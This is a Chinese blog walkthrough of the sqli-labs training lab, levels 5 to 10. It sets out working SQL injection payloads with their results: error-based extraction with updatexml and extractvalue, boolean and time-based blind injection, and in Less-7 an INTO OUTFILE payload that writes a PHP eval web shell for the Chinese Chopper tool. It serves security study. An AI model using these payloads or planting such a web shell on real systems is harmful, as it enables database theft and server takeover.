sqli-labs靶场通关(Less5-10)

Less-5

  • 键入正确的url

    http://192.168.12.129:81/sqli-labs/Less-5/?id=1
    
    # You are in...........
    # 不显示结果
    
  • 尝试注入类型

    http://192.168.12.129:81/sqli-labs/Less-5/?id=1'
    
    # You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
    # 可以确定为是字符型注入,通过单引号闭合
    
  • 使用报错注入

    http://192.168.12.129:81/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
    
    # XPATH syntax error: '~security~'
    
  • 爆库、爆表、爆字段

    http://192.168.12.129:81/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,50),0x7e),1)--+
    
    http://192.168.12.129:81/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,50),0x7e),1)--+
    

Less-6

  • 键入正确的url

    http://192.168.12.129:81/sqli-labs/Less-6/?id=1
    
    # You are in...........
    # 不显示结果
    
  • 尝试注入类型

    http://192.168.12.129:81/sqli-labs/Less-5/?id=1'
    
    # You are in...........
    
    
    http://192.168.12.129:81/sqli-labs/Less-6/?id=1"
    
    # You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
    # 可以确定为是字符型注入,通过双引号闭合
    
  • 使用报错注入

    http://192.168.12.129:81/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+
    # 或
    http://192.168.12.129:81/sqli-labs/Less-6/?id=1" and extractvalue(1,concat(0x7e,database(),0x7e)) --+
    
    # XPATH syntax error: '~security~'
    
  • 爆库、爆表、爆字段

    http://192.168.12.129:81/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,50),0x7e),1)--+
    
    http://192.168.12.129:81/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,50),0x7e),1)--+
    

Less-7

  • 键入正确的url

    http://192.168.12.129:81/sqli-labs/Less-7/?id=1
    
    # You are in.... Use outfile......
    # 不显示结果,提示使用outfile
    
  • 尝试注入类型

    http://192.168.12.129:81/sqli-labs/Less-7/?id=1'
    
    # You have an error in your SQL syntax
    
    
    http://192.168.12.129:81/sqli-labs/Less-7/?id=1' --+
    
    # You have an error in your SQL syntax
    
    
    http://192.168.12.129:81/sqli-labs/Less-7/?id=1') --+
    
    # You have an error in your SQL syntax
    
    
    http://192.168.12.129:81/sqli-labs/Less-7/?id=1')) --+
    
    # You are in.... Use outfile......
    
    # 可以确定为是字符型注入,通过'))闭合
    
  • 使用outfile,编写木马

    http://192.168.12.129:81/sqli-labs/Less-7/?id=1')) union select 1,2,'0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e' into outfile "/opt/lampp/htdocs/whm.php"--+
    
    # You have an error in your SQL syntax
    
  • 使用中国菜刀

    • 添加url

      image-20230113020008855

    • 成功

Less-8

  • 键入正确的url

    http://192.168.12.129:81/sqli-labs/Less-8/?id=1
    
    # You are in...........
    
  • 尝试注入类型

    http://192.168.12.129:81/sqli-labs/Less-8/?id=1'
    
    # 没有显示
    
    
    http://192.168.12.129:81/sqli-labs/Less-8/?id=1"
    
    # You are in...........
    
    http://192.168.12.129:81/sqli-labs/Less-8/?id=1' --+
    
    # You are in...........
    
    # 可以确定为是字符型注入,通过'闭合
    
  • 尝试时间型盲注

    http://192.168.12.129:81/sqli-labs/Less-8/?id=1' and if(length(database())=8,sleep(3),1)--+
    
    # 页面加载大概3秒左右显示
    
    # 可以判断数据库名字长度为8
    
  • 使用布尔型盲注爆破出数据库名

    http://192.168.12.129:81/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='s' --+
    
    # 可使用脚本实现,爆破出数据库名
    # 爆破出可以得到数据库名为: security
    

Less-9

  • 键入正确的url

    http://192.168.12.129:81/sqli-labs/Less-9/?id=1
    
    # You are in...........
    
  • 尝试注入类型

    http://192.168.12.129:81/sqli-labs/Less-9/?id=1'
    http://192.168.12.129:81/sqli-labs/Less-9/?id=1"
    http://192.168.12.129:81/sqli-labs/Less-9/?id=1')
    http://192.168.12.129:81/sqli-labs/Less-9/?id=1")
    http://192.168.12.129:81/sqli-labs/Less-9/?id=1 and 1=2
    http://192.168.12.129:81/sqli-labs/Less-9/?id=-1
    
    # You are in...........
    
    # 难搞
    
    http://192.168.12.129:81/sqli-labs/Less-9/?id=1 and sleep(3)
    
    # 依旧
    # You are in...........
    
    http://192.168.12.129:81/sqli-labs/Less-9/?id=1' and sleep(3)--+
    
    # 页面加载大概3秒左右显示
    # 建议使用脚本爆破,确定'闭合
    
  • 时间型盲注

    http://192.168.12.129:81/sqli-labs/Less-9/?id=1' and if(length(database())=8,sleep(3),1)--+
    
    # 页面加载大概3秒左右显示
    
    # 可以判断数据库名字长度为8
    
    http://192.168.12.129:81/sqli-labs/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(3),1)--+
    
    # 可使用脚本实现,爆破出数据库名
    # 爆破出可以得到数据库名为: security
    
    

Less-10

  • 键入正确的url

    http://192.168.12.129:81/sqli-labs/Less-10/?id=1
    
    # You are in...........
    
  • 尝试注入类型

    http://192.168.12.129:81/sqli-labs/Less-10/?id=1" and sleep(3)--+
    
    # 页面加载大概3秒左右显示
    # 害,不多说,和Less-9一样,建议使用脚本爆破,确定"闭合
    
  • 尝试时间型盲注

    http://192.168.12.129:81/sqli-labs/Less-10/?id=1" and if(length(database())=8,sleep(3),1)--+
    
    # 页面加载大概3秒左右显示
    
    # 可以判断数据库名字长度为8
    
    
    http://192.168.12.129:81/sqli-labs/Less-10/?id=1" and if(substr(database(),1,1)='s',sleep(3),1)--+
    
    # 可使用脚本实现,爆破出数据库名
    # 爆破出可以得到数据库名为: security
    
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值